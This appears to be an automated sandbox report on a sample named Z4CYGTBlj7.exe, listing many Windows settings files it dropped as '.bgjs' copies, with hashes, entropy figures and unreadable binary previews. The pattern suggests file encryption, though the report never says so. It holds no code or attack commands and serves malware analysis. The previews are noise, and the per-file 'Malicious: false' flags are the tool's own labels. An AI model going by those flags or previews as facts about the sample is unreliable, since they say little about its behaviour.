C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01tmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.197491491140687
Encrypted:	false
SSDEEP:	6144:Ka6QSY7WUxLG176d94EJlok3f7Mxc0+qFJaohDNdrjBmTu47OYPRUVRnqdKgaF0:Ka6E7pLAWuRG7etYRw7bF0
MD5:	316B362504AB2A74D609BCC53C4D6A9B
SHA1:	6BD78064DF7BE3A6176724CA86C65EBEB392A6D1
SHA-256:	193EAC58EEA7C97332E80168FD663C65C42907B1CC68569C671E5277FE939EC3
SHA-512:	79776CE5CF708A3DF566BD1A5AABC76A0FCE2E93FEE9C339C49E356E583C91C02362B9294CC81EBCCEF2612A27E5CE4733D42D0D401714CFEE84F443CA3208FD
Malicious:	false
Preview:	.!....1kO..N..+..=.....\.]..B......Fy..<.\...elK.......T..V;W..[A..\..,....GxAE.U5G.w8...l..........Y..........0..#.-..VTrf :i'4.s5!...R?.W...8...9.;I....S.`...~4KCr...T.D.....q....$I...M....;.u R...c.fd5.0N...5).Y....i.F%.=F.......Zh..-.]............;....J'....,..K..s.K`..\....x.M..UW..t.3d.ZRG.....c......a].g......g..=C..e....Z.C......8.L. ??.#.YA.....4.......MKND=w!.:.:....'3..p..T.q u>...\.H.l.X...=.).....~..I:5.9...../3.n........%*1r...v:\|..N......y....4#..rZ...Xia..%%.=.....6.<.0h..D\|...:....xE.l.z..8.....J.K<YD.N.@..9..i;.b.f.....>....v..fq.Y.Df..@.wbu..N.4....Z.....{.rh.g8H....rL+,W$d.....}...%..3-..^x..I.=...t7.1,..TNx?...%C.LD..M..?...V..7...T2$.;.nK2.YU..9...l...'.WEW=q.8.6Z.R....<3.. ...3n1.h...y.k.....t...a.$.3.9h......Fv.%.w...MH.I1...x1...5.bs.QE...>8.fv.i.M...Q.9.t...<.n..x...k\".....0.....r-vq.i,...bvg.J.R...U3.V..a.!.......x....@.r.....+.q>..i'.qLn.......r@..k.Z....A..cO.....1.....4.z...g'0.".g9.qt.t.1\<.}.....1...kj..

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975064417572538
Encrypted:	false
SSDEEP:	192:ODBuZyhd/kL3otepaDV2Scn2eTCApKRuPPoD30LoUPj4p+:ODno3iAScn26CAv3oUF
MD5:	C756E2E7BBA8194B2670BA7D0C12A4AE
SHA1:	E4E4F95593F5D634D8F02324E7F38549A995E0B5
SHA-256:	F16E85660A2008AB2DFB85A35A38801130AAE4F2181FC5FFC8CA46952ABB9A28
SHA-512:	4704028F33A90E8FAFBEE47E7FF55D1EBE34880B7593776027D48C0265826CD9A50E5ADA369EE7434F80324CBE58CD23D1437D7DB6E22162C4FC4FF0D65CBA47
Malicious:	false
Preview:	regf.....>7.......(.=.y0..c.<...b&.m.....u....hQ.U. r.,.h..+./.S......qO.&v".7..k~.y<..@r..Bbp...7.J.-...;..p.<......@K&K.IH....Z ..g(..$...9.....y..;..Th.....@....h<.K...."......45J...:?.#p..vt.v.....5.!e+..nze..;iLR......... ...\..!.R.R9(RY...]n.7..t.Ye.)...=..8.;h."....c..KP.;.7.q......u.0...].Q.-.\|....}8.ppP:.Q...Z.c...np..t<I..,7.....X[A`.;..l.a.P....{...L.$.."JY"o....8S6..h.i......D.,P.....O.r.&.G.......8.N..F.....S.<.z.}K..`.9...... v.$i..i..E.\..J.............+..g.p.......!.fx.6N.Q?L...S...H6.!..YC.,#..Xt.;[:..}..+<.....#:.A.L...Y........*T.....+.ID...`n.?p..5.5..Q.h.5F.f,.....^.+H..P..;#.gt0.....=.\|..],.5$.8c#o...\|!8.K.n.A.=.....\....J.....S..<~/.X..?:..Z~x$uT7Q...yD....Gj....5...J~.f.z.8..w..5.I..9...n!....:u..O?./...?'...r.o.=.e...B.....r..2,.v..v3..<}...H.t......D..U5.T~.....f.D9l..RTq<...;Lq...U...&;.SI.U.#.7..-.56V.......ny2o..+....p$'....!.6...;..n0...e.....(.4.l.3..Bs.?{.G.....;..,Bf{.......r.......pOcy.N..T..w.._...$`...{

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981313532241853
Encrypted:	false
SSDEEP:	192:tgVIi96h2AHdBCCzeuQnBz7PHuYxq9tL+KTTEwA2B+:tgVILNBvzeuQntSx9ocTM2w
MD5:	19A7EB8D95EF46AD31F533F17172F746
SHA1:	2CE3E3F4C6DCC8CE4CDD603A145C52FE5E503A09
SHA-256:	53FBC5E23AC69A563FDC56BC3232BB30B3B0766C05C49A194C64A58593242CBC
SHA-512:	711B56D438BBFECA9E8286D2D6B95803116CB39BC935B1821D71F879949BC7454770FB1D5886914710967D568D140FF0D417FF1003E948E695B83F6B30F8FB6E
Malicious:	false
Preview:	regf....Un>..q..J@._.0..\|ba..S66xy..........nn#.......D.>^.H......U{<K.!.:K....H..M...5.l..l.f...+.0...7I.ZZ.6m.Ucf...K...T(.....ST.7..Yv.?.... ..q.h..Z..h... .8.0.gg!.+.X.....$......t..n..)..h_^..k..Kr<.z5..M._e.Pd:../EWBjF.e_.GH....d....B.6.nx....Lf..!........q.P...m.xnG.v.zOmxZ<..Z.....8,...iE.z....ol!(P.b..U3.&.D~5....I.O....1.....ZY........^S.#b...b....B.m....W.X+...6E..'.%".9.s......MGM.......^..%?.[.....d..[....b.G^u.K..A.[.F.[.......z.y..N=(:8.C\|.8mVs..3GE..^.aQ/}x.2....SM..o....S.y.../w.....1..ZR].l...+.N...v....(8......@}56cx.D...+.....u...$...E.(Yd?........Pe.9)+x....UJvv0....V.N-bd...NV..7-....j:...lY$...=..W...D...:.....,rt.U.[.._2....Ic0.,/3,.h.....j7..S..g.?...k...)....PLK.j.....+a/...V\|v.\|w]....L..e...._....(L.....b.t.yo1.65..B....i..+./;.............1U...m.B..F.k.%.w.Q'.;...x...^.....Dh.<2......&...l.8W......<~.......".....D)t<?.....O.+.2.Z.m.WfY.:YR.............R...-bm..k3..}...x(HE.V:..f..`...v....J..!.*.f,[.U

C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9754591743731575
Encrypted:	false
SSDEEP:	192:MQbMtsnjuwlaYK5tn0e9uZh6l+9CEu9ZmI+:OejhaYK5tn79uOE9x5
MD5:	4CB70F59B533414AE7CB599E1DBBEFB3
SHA1:	BCDC394A1FE6D12B828068D3B945D3760D2A6178
SHA-256:	4E5649F7AC94B334FF9D5DED3043B47915B45DB59AAAC8A16F8284EC785C9DD7
SHA-512:	498920AF42D42A93345E4D70BB921DC22F646BE06EBBDC7FECFCB80B828E9FBA7497C33489DD3E0C06CF8FF4F0A68A8069C21EDA71E9ACC8E2998A63570D6B4E
Malicious:	false
Preview:	regf.?...+.b.Y.....+..C..].\..[...v.s..U...+L...4!....M...M.U........l<.w.@~..G?.........6.....XC.....D.\|QC..<.ln.T..J.HSf.X(....k....BL##.........."..zD.Qu.F.K.jU..."...<VG3.\N...m.Y.%.W...!..3e.1....i.m-....\|.2..y.~.#...[.k.T~....i..HQ0/.L.......$....E+.U ..P..].......6[.../........}..v..t3./W8......9.A....{.....-..b....hE...hm.J.....y^=.......<......._...<8e..B.E7n...j... .nh...7;.i...l.< D2.$.n...r...1/.....q..6..C.z.J.0.T...t...[..}.-.T9.n9.Hp...\|..U.b7.....i.?.u...{......c......b...0..........a.c.M..S.....7..Jw...30...(.Q.Td....Y.^.B7.UEdT.f.p[K.`.9.....f.h0x..@T..fC.q............IH..4L.........MF...M.)..).fDq....E...p..1..N'.....s.<~'.Y...Y.......d..V.L....n..].."ja"...}..H~..bns...&......?....'.Au.y...xA.(.....;......h....*l05..>....9JMk-_.4.U......W...g.Q./.&.9G.q.........ss...>.=G.O.m:d...YfG.....qr.d/_ ....i[...0".._.U..W.s.\|.U..$K.....Wg......v....>x.tZ.g#...9.(f...o&..f=.y7,Yp.%I.V...c......Ou.....~..$....R"..;.H.0quS]

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9802072484307445
Encrypted:	false
SSDEEP:	192:AfIdEuBAjECma153UQrbsX2jl34t8apKjruKApfNDklTr+ClLD+:Ako5T3lR34SapKvRAng5qX
MD5:	98E228B720DD60BFCC0E692D61E0F385
SHA1:	F1E4CC182C2486549BFC371EEE1A726C049BF39A
SHA-256:	0253E35F435F1B5415C37D52705F935C0D970B6AD1CFD3C6C09E4D401F9C4EF2
SHA-512:	5EEDBFE2057EDEF8FC15FB047BEF92B4CC776CA86F6A9BFCFCB432BE21CB93E48334EA33DBE397FF623109FA47F8110549B5DEF26B27AF0E068A35F4C9C45AF6
Malicious:	false
Preview:	regf...!H0.'..q....]l.oR.!.=...U.&G...5..S.../..V......?.g....... .>."-....U.+../.O...........KP....[.#.c.5.".bd:$.H..;.=....i)F.I..i.~.......d!..IXW.&.a...x...(..c5..p......A.!8\..T...Y..;.._...p.}l/..&..DS>2G.G?.{....tV^..{..).e!...E..u.aTJ.;$....v.?.\.P.g.Xw.`.n.7..F..Q.Y=.Fs;L$...w..Ce7>e.NG6<.b~0...wy..@H`.7n...^....v.&...z.Wb^Z..D.+"......(..#.....2..v.rM.N;...jek~.."a#...8F\|.w.Q.}4Q......u.F.H..........B.'.9....1Tv......#....ts...C..nm.2....G.Y..8.i...u.fa.g..vn...P....8..z...f.T...s.........u...G.!....M.mb.k?...7li7.!H.8g. .,...8p.....?.W$w..... .......0.>va.J.....2...ma.~b.F\|.'B.;..C\|!.. LpI..R..0..Q.....;..4.q\|.M.Q..~\#.+.H...o.v.>..d......tb.....-+..C..KB.].-...:...../...t+;\.$.px....&s....`\.Q..G4$.<...RDU..q%.le..[.....1..s..7..cya.b>.8...`......8+...k.. O.<.}k...u.~...H(.......l.1y.@>..4d.V..<..S.l......k.3@.[...U.l..h....m...9Ewy.....t9.v........b...x..-0.&./AF..y.#.:2..mI.....Gw/.QI..C.....x.9-...H...`.T%..........*...N....?A

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978974850039968
Encrypted:	false
SSDEEP:	192:Cw+o2X+jqzKE7lqnYvtr+ChTLJ6IGiDu1bcQqll47oeg/TN5QyWBZ+:l+R+jxElqYltTLJ6IlDOwQulzJTQy5
MD5:	B8558BE00C98EC946549CBF00C92C00B
SHA1:	8C2CC847DB407854E04735B325BCAFF76EEB2450
SHA-256:	41DEDACB506C8441F4CA0CBEC9F016D5F6B12314391D4F58E2E9DE688DA29944
SHA-512:	4046341745DB1058CCFA415839D1C2564A851CBBDFEE8AA85D98C644E7025BA884006FB3ECB276CF53B26ED4EE9BFD75910C9AA902A8F003576C378FEA5B1504
Malicious:	false
Preview:	regf.t.Q.]K...JS......0{...-......E....^.Ud9i.\|.....x.....J..k..n(......,..m.!.z...a........E...ch...L.{.....{...PK.. 3.!p...c...5.j...^.DF+.H.JR.k."...[.v.A.D...F.......P..D..!.b..9.J..O..~w./..h+[..........5..&...@..m$.....bZ1.,..].\.cT.............w.....f..#.NM.NN.._U.T...@U..'..N.K..@....x`F.PXv=<..M.;...QR.BI5X....E"...E2Y..e...DD..:\|....=I.u.QO....:.[........._..j3...._f.^....vk!c.....[g.hr..Bq$.r.4........n..86..c{..l....O.Z}...I.....+.....L.M...Va....6...o...&.^..>.:.(Y1u;.........T...u...]K.p..><.t....U..<..G"`.8...C..}_..\|6.2%...[q..U..2...u.o..cfk.O..?;.....VCp..i..D./.^.h4}.{..AsrgN;..Z>g.N.I......<".{....(.\|..I...`._R....e......XL.kP.3-B1..G&..$d..y.<.J..zjs.G.Dn. ..u...........FnO&..t#=....`V.6.w.x...3.....vB.2....y.[... ...I`.....4..S.D.....Y....O.xd...3.....=...je...........b._p.......=.~.~...$.{`T\......d...1}.b..j3...Gg(....F.N.9)7..../...p.H...Q.s"W.o....?....._sc..px..Tn........u..S9.....8......<(.....1..

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978472241607579
Encrypted:	false
SSDEEP:	192:Wkkvvec5lkPKBQ7hpVdkyH4wkXhaoHItnDbgtQ2iPi02H+:aectQ7xzHQh7HItnYQfPibe
MD5:	A8C9D896AF6D5CFA0FF7E3038F70588D
SHA1:	78193628C5E4BDBD7C675630776B1998E2A12BCA
SHA-256:	05E3D56D5203FFB7E65B32A7DD05025B6FAA80CBC6F2C8E8D5F2C6E13956AC20
SHA-512:	271F4E154002E7F4467DD9116E4EB82766EA6B052E0A03A9F7F5FB708949BD7411011BD870D611897885678E0BDAB9592BD1C61744C2706EFEBCA27A268101E1
Malicious:	false
Preview:	regf...8}.3..l.h....wo.Rh...V..q."....A.n..p..h}l".S...U..iX.t..........s.....:8..A.$.\|..^...>...n..E=..W..A....gL>.Y<..F......3....M.!.KT{.^.T.g.U.....T1y......R...5.U..:#.}b...V8....k...rx.Q.C.%O.jBV!{V.iF..&.A3...(Tj..-......O#..$......U.V.z.j..:..../....qv.&...~j..OP....4../..c;o.(..$b.CWh....T....N..s...N..6q............z3X;p............92s5>."J.Y..Ys.p..ua.y...f.Z7KB..',t.!.8.....;.;...Pv...}.N6mN...+h...[.;..&%...)I.._...v.+F....\|.P..f..QAA...-.aZ.=@A...R3(...Tu...U...P...7...T.<K=`.D.E..x...>:Sq:..J..G<.S.I_.vS......]{.o.r6.Pv9..t.pj"Mo...Z....9y".I.%.!.u.>E._....R..t2p.z..R.U....lN..jL.L.$PE.{&.j^... .3.z...$J....Ha.q-.l.".MV.zX$%..l @B.p[.b........#Z....>..+...3...........im...e...c.....]......jM..E.5...U..1Oc.&..ye...!6F/.o<..).I.W"96...K..nb....I.>.1.`..{.n..9$Z..^f\....\...t].....W.v...6"...~B.S.z@...K....a.....e..}...a..1.V......../..v.^&.Qc...HJS.....f"....p.i.J\.S.V.(l..+....!'.s....w..[..KAS.Z..."l3....>/.

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978164561243035
Encrypted:	false
SSDEEP:	192:Dd5pZQdN8WcHpPxNt9aYEC6L44nd4JzTRruzaYtXONz8xvHd2+:ZbZQQWGPj3at44nqJzTB4tK2v9n
MD5:	6E98826F8C507A3454255F30F19EEF70
SHA1:	DF7AB6F540FF66B1B625E87A959E15FCC7A65B38
SHA-256:	C2E84342B951887E07BAA07120D3BD4903B892E22D38B58242B03DC8C5E41541
SHA-512:	1346D39E47E965D4BF9B6851DA276C74577E0137580E8016950174940EC89793AF5B6706308CAAA4BF90ECD65E8414F14D1A64357113415B3448493266626D07
Malicious:	false
Preview:	regf.a.. .+..e]?..\...o.X..jY..96.'.b...N..G.\.Y.c?..z2.~..<0.r...i#B.[.tT..w<.@.....J.Pj.QNT..9l..x,.y.Li:..D.....}>_...s\|..s.q.../......:}.....'.&.t.."L...2..8.l....I_V........K&.:.......E.\.j..De.Y9."J..0. @.._.q.b0.h.z'..LF.q..e.Z..I.=z...)aa..n...%!...H..=..r...TI.A...]B.YC.+.........y-..r.iz..18....{t..?..M...r.;f.q.....S.\1....D.#z.v;.:..an=......z..-ZX......d...o...v...L@...d..aH..M$...E..z.....$g.%Y+t...jvy.b}.<..F...o...O.".J....G...Z6P....M.&K"e..=./mH...L...."...<2G..Sb`.A..ygS......&K...\|.K...O..=...r.F..U.."..oRVt......8:.,......A......\|.45\|r4..K.....C.4...^..qE..1.2:.....j.....\..6. ..:8=.....[s...M......h...s.......v..w..jU...._....i.q..._.t~..O.=Gg.I[3.\|.6>`u..@.3g...l....g.ot.Z.C.3......!..,.0.&..) ..-t.....t.....2L...i-...2...D.<.c..^.....MZ...r$h.6!...cC...2p.^..v.>0.R..8...4tSW......X.T...(.fT.\.5" ......w.....I....o....JHRMZ[...r.S.Q..\|..q&..d.&.g97.)4....5._.xK..<...jJ.c._S..Z8Y@........Z.;.........

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977904457665056
Encrypted:	false
SSDEEP:	192:mTonUabqVjVDt/fkbwZW86dAGirpCs1DCu+:mTonTkVDt/f0wo86dhe9ev
MD5:	118D7DAC319BC8A3D9B123822A83DEA5
SHA1:	47CAF27BAD22AFA07539BC99DD4B0A8411C9DC16
SHA-256:	BD377C66E9BAAD356293C8220096AB61F94B9510837B03173E33F56DDC0A66D6
SHA-512:	41889AA1ECCB525EB68D8313949AC77E7DE9FEF99E8565074E8C26C32D9879C5206C0419A53DE059C6DF9010366B9AD2A5ABBB1834DF5818E517B39DBDCC623E
Malicious:	false
Preview:	regf.0s.O..^.S.A..r...3Q..,.lE........D.f=..gRw.....OW.:.C..9..IXI.?"+.%.mr......@.....fK.v..a.G.........bt.IP..Kv;.)D&hr..<..r...4...O.L....X...EW....p........._.y..8.C)...=...I..cS@........>1.......o.{..7.k.Y.;k.....yq.9F.^\|../.Gk._...!h..N/..O;1GL<..V~ol..2q.:o.gkS...h.+..\|Iv .....t....'J....3.E.....B.....}............3..j^\.T........h.....V:..n(.)......>...[6i\C...4.:.F......\|Rq..M.g.-.r.KW\|T...%.\..^...g..{.....%...\|M~8VQ.YN..$..}...8.ZG../.ga%KN.O:.H..p..s....M.4C.....T..]..8.....O....b..f...aK?x!.....V.oTz...$&..Z..48..1..f.Vk... Y.$. 8....#c..\|..R...SE.......bJy..m<.....HTq.....].r<l...8....%.......Yr.....4F.'J.6>..........87.#..%...K..W,...{p7...G...<....R.1yz.q#....+'^.}.!.{...r......I.q~'.t f..o)...nN.>E@....%.:..b.9..(......SK..g~.1....9J..7....Q6........N......s.....*.c...J9<.<&]M......{...m...v.kbQ...E.<~.'8)...+.$..S{.M...u."m.BJ.Y.[P<:$......N.W...T.T....V.E.ny?.....Iv.....5.2.,r..U.........p.m.><..Rj....E...?u...m..

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980665737459794
Encrypted:	false
SSDEEP:	192:sj6v4vWhoheWhUORBt+oaRQt2P2J24gUg4IoRM8PjugyHYECt9WqmvG+:q3TUOQobsuJZtIebVTKT
MD5:	F15D3FCFFA51A98999BE5C04A08E6E7D
SHA1:	DE9B77B97844CDDAEE7EAD3E5B6155824AA56430
SHA-256:	63750EF09B14272340439E876532C5851D53BAE492AAAB5D1B77C97580D1CBAE
SHA-512:	FEAAC52BFB9F6B7037D7752674AD6A914A4200C279BC3A81E10E12546556EF26CCB3F10CFBAA2A60CBA4B54DE21DD8A3C0BA03342E45168AF5CE3CEA3883F69F
Malicious:	false
Preview:	regf..j.RyE./.,_x(.........L.K..<=...q....\|c....i....qq.M...y?....X=..&.8Z.l..W-.7.V.%.2bY..........S.....'..=......U.x..>.P\.60J..@. T].....g....i?...y.[6..n0.t.........L.....i..x.m.Q...bl..@x...qb.....v.r.y...k@H......"D..t.l.........X.N...I.7N.7@.....z.o...`.%..+..........#.9...t.F..g...0....)yf...0_~..{..7.v.L.8.O."y.(..Z...e'...I[...J-..D:...w..z_q...2.h....U..o.....'.II...i.J.E'.MO...+.D.f.....A&.pK..$.. 5...%B1..x..._.^H.M..?.....(k...F.....+.Nw.;!..L.[....eL..=).......o..i.Q{.d<%.\..ww..m..L.}.......(....A.S..`.@..0z."J...B.cXW.\|...!.<..S.&."r.7.,s...H.%S.A.I.o;.Xo..#F..T..:Yj1...T...gS....9}.[.....B.>G.L...!.....D..+n..:...#.o...Z.!i]...y.dN..i..'..K...U..u....CV.Y..4H...S..Z.^.W.?..f......Z5a..".n.Pq.jm5..q....~\..$#.3.8.Um....+..l'.)'A.......B~..-...M.$.g.9..P].....OTor.i....`...Qb.A.....p...<...7..>{..9.[.Y...:.bg.....M?.U..Th.g.W.p..\|.....'.....Xt...n5`..RJ.$.{ .,8...]\|........p".J_...]..]...@.K^...].&........Gg..M

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9779128711498055
Encrypted:	false
SSDEEP:	192:alKOX8smsX7e804l/4NnnEGsqP3LV+V+jSqMJCq4v5NL1+:mzbXK8l4KQPYVPlJCI
MD5:	063E131EED6EA25DBC0D9B24B8F92488
SHA1:	936EB3C3DC54FDC75471FBE2AFE628311257B8A3
SHA-256:	F6CD435D17F527FDFA48CDE41B3AC9B339E8703A494938833D1FD340B0FFA61D
SHA-512:	FE51041A3111740EDCDD6255B5FBEA641BEBF456BB0FF23A8B93E58BC97AD75F86F2049BB43BDF5A6ECEBFA207225926CF34D4D077EC63C5F56EDE1FF1B89ABD
Malicious:	false
Preview:	regf.....j/]..#.....6t.O.m..1.n.4.t..J.4v..PJ..^q..RC{..&p\|wh.O+....x.\.{c...6.l.E..C%u.T.m].X.......\|.1-....d...-. .......+v.....H........;\:#Qu.[.V....b.~c9.....yv.._`f[..E=e.-L...{<...([.Fi.!?.3...-...b5m......!.cX.H8..8..t...3zF...".K.#...w2&.8Ln.2...FL..xidDn.._...U.........l..~.s1.#.zjr..NL.s.o .......y.4.....\...v7.,..'...P...c)g...GGl....AB./7.b..x.[.7*.......8....G.X...}h.ax....b..Av.+...\mp.n.3...<..[.I.7R....'.jE.l..\..w^..:l=.>.t!...'9....>..ui....C....d.\j....!..2K.......Q...M..1...P.>.V.4.L.Z.)....V4\|,.>.dndk.zZ1..6....+.\|.s....B.w.8....Fq.L...L..l.l.u.3\..W.....8...xm...U.3.A........[.1..;-\|......F..>a.B.G....<..u...^]..%.....4l....>>.U...eQ,.x...T..{.....t....+....1.[...[4W..O.o..5...}.tRW.Q...@"s)}#....h.d{.sA7.:280.c...B...E.o...2..H..(.....7%h..{............4. .....9......l.)6.....4...m..f..Jd..\.0[K~.)R.0.Y=.f.;.p9.....L.od\X.......+.W...:K....\|.....z..^W2..z9hx&.K.,.#....#...^...U.<.Oc ..i].f....E...#N..c.}~.m....Y.h..a...x

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979295280735878
Encrypted:	false
SSDEEP:	192:U1l31B+h8QfoPeqb1lAIuld4d6bSOjt7p5p+:8lH4hfseqbsD4oHp5I
MD5:	93E8BF8D0241C99C78A9C190D4ADAB55
SHA1:	0A8AA2238C9F3D666569F3EFCCFA85E8D1232707
SHA-256:	F759338923B5019B1385C59FA17C17F9CF041871E7C11FC879715CDECB126575
SHA-512:	4AC03D925CF02D4C2A69B5F0058B0D822237D8B2C05A6C571D877910409B54649B488D5F3456D55C9D07BEC63B75EC9D4EC106E711AB437B250DE39CF9A42810
Malicious:	false
Preview:	regf.W.R._.<......0w...Oi............t.7.4.K....a..#....A.".u.V..V\|......-.....AD.`P..R..TCo...%ii7.`6.d}.}.k''M..K...1.@-..(......./V......}..0.......!.^.7Sv..S..=#.%..$y....3...2.P...b....n.V.?.u...%0S.,...]%......o..b>...8...p/~....^..5......\As_{..8.5.r`.MT..;T.3.w.L....s\|...d....-l.tb.(R.B..@.Y1U.>#..P..z.g'..p.s..)....#......6.P....n.tG. ............k.ZA%...+. ^....1;v7..e.y....q...%...W.%d.=-T..${..)Bymp..D...R...f.b.....7hnc....y..)z..b.."j.V.'z!.v....a...+.q.0..=.X'..23.c....gK.}.!xgx.Yb.3u.Q#Cm..F..y./......{.ZE.T".E+4...6{.O"l...0...,.......L......*.#.Z.n\c..iZ.kI-88../......7.....;.,...8...#.g^.VQG.Nw......n..}..........Y.....>e^.-u..3.......-.".......n.\|..........F..]..V@.#.g.Z2/....M6._..T...J.Q..........G.^..v&....uH.....6rnp...Y=._.Xf...u@...p...\.fH....f....=.Nh.P.r{..&..!.,.0G....%.....u..P8pK..L..>.,....6\u..x.[..8X'0.X ..SX.n.`..._^.=..^V."8.@..._..gF..9..D....(..N..b....]....sk..7vo.hO..='"..2G...E..[....}....\|./

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977433025450838
Encrypted:	false
SSDEEP:	192:dNjCjCeY44mJlOL+xBSu02gAUG82M399+:uj/Y4JJsLU02an3+
MD5:	6544D21655B6A6F0A0A088D7FA4CCFD9
SHA1:	09CEB89D38F878B6516E871FFBB2D7912FE61010
SHA-256:	143523CA26D587B56D06D421E2AAD52025080448526D493879B44FED1D441C73
SHA-512:	14290FF6B3851BF6BAB3E1616CC4D784B08398E21AF2994D0D5A3E7DB9F6A3AB937D00194746A5F7828E84C6C34304AA7BA1D040BC7E59FA4E7493043CFFDB7F
Malicious:	false
Preview:	regf.~.....).v.c.~.pf.U.....O..R.o.+^...Q\......\.E...c...'.m...161..i..e.F.t......U..b.JS'.......p.tP.T..8.,b....- .T;..l4...exu.KU.^.1.X1...Y..Wl...E..........[+5..>P..4+NZJ:.I...<.i.\|.Cv.]].Ok..!.4.y(zY..^ ...4..S..+.^..-u...t....Byx.K..y..2g...o.qo.dU0Tj.6F..\.R....T.......YjL@...:2.50O).{.{y\....I=......Nz..r0X...W.b...<>a .j..]Cjo....47...v{QK.....^.r...A..A.\|6&A../....lDH...lb ..Q...............g..Iv.....A...q,.o....IG...?.......S...D.^...~.q{L.....<.B... .?..I..~.....B?k.C.pE>.r.....P.G...~.N<.r............J.8...I[QA......\q.#..`eg/JWd:g.........)q;..L..b.'.S.....40Nn-C...}.....M..i..G............CkU\|....R..}U<ZxG..dT. .S...6..........XJ8C....rR?JJ.u.8&v.N.......@..]!CAy#.LG]#.Z..S..Y.4...E......D....w}..e.."N....%.........3...yx..8.E^.....P.f.qoy.M..,....=.Q..t".=m>.O6....>..9)..A....P!.H...a&.....y...gr.;.]....}.b...\|q...\4rFF....K.,v...C.y#....f..~B.K.=...=.X...,.#.....\..U&...!......i..c.iY..#=.qS.;.N.n.3.w..2..8N..C;6.L..

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9755327608605135
Encrypted:	false
SSDEEP:	192:RujkGBGPp/OS2EOF4CWeNx42YxvwmbvYszQ86Rd9FEHF3Mw0v+:RuJ0pB2EExCx7wcJWd9gAW
MD5:	8791DF88CF0EFB0FAE0C9538B24D2B95
SHA1:	9EF3D2227F79414CAE7B8A7B13D766AA06FD07E5
SHA-256:	D246FD46CBF9878BF0990B13D8A2EEDF7ABFDA9769A3CF50334112A90029B4A4
SHA-512:	837ABAEFC9F398E4F835E53EEEFC3842591537255E20E7E4BA86997E4B675DA97C9BEA0F097FD099787B271783249121895368006B6E29BB6B3392F9EC35A9B0
Malicious:	false
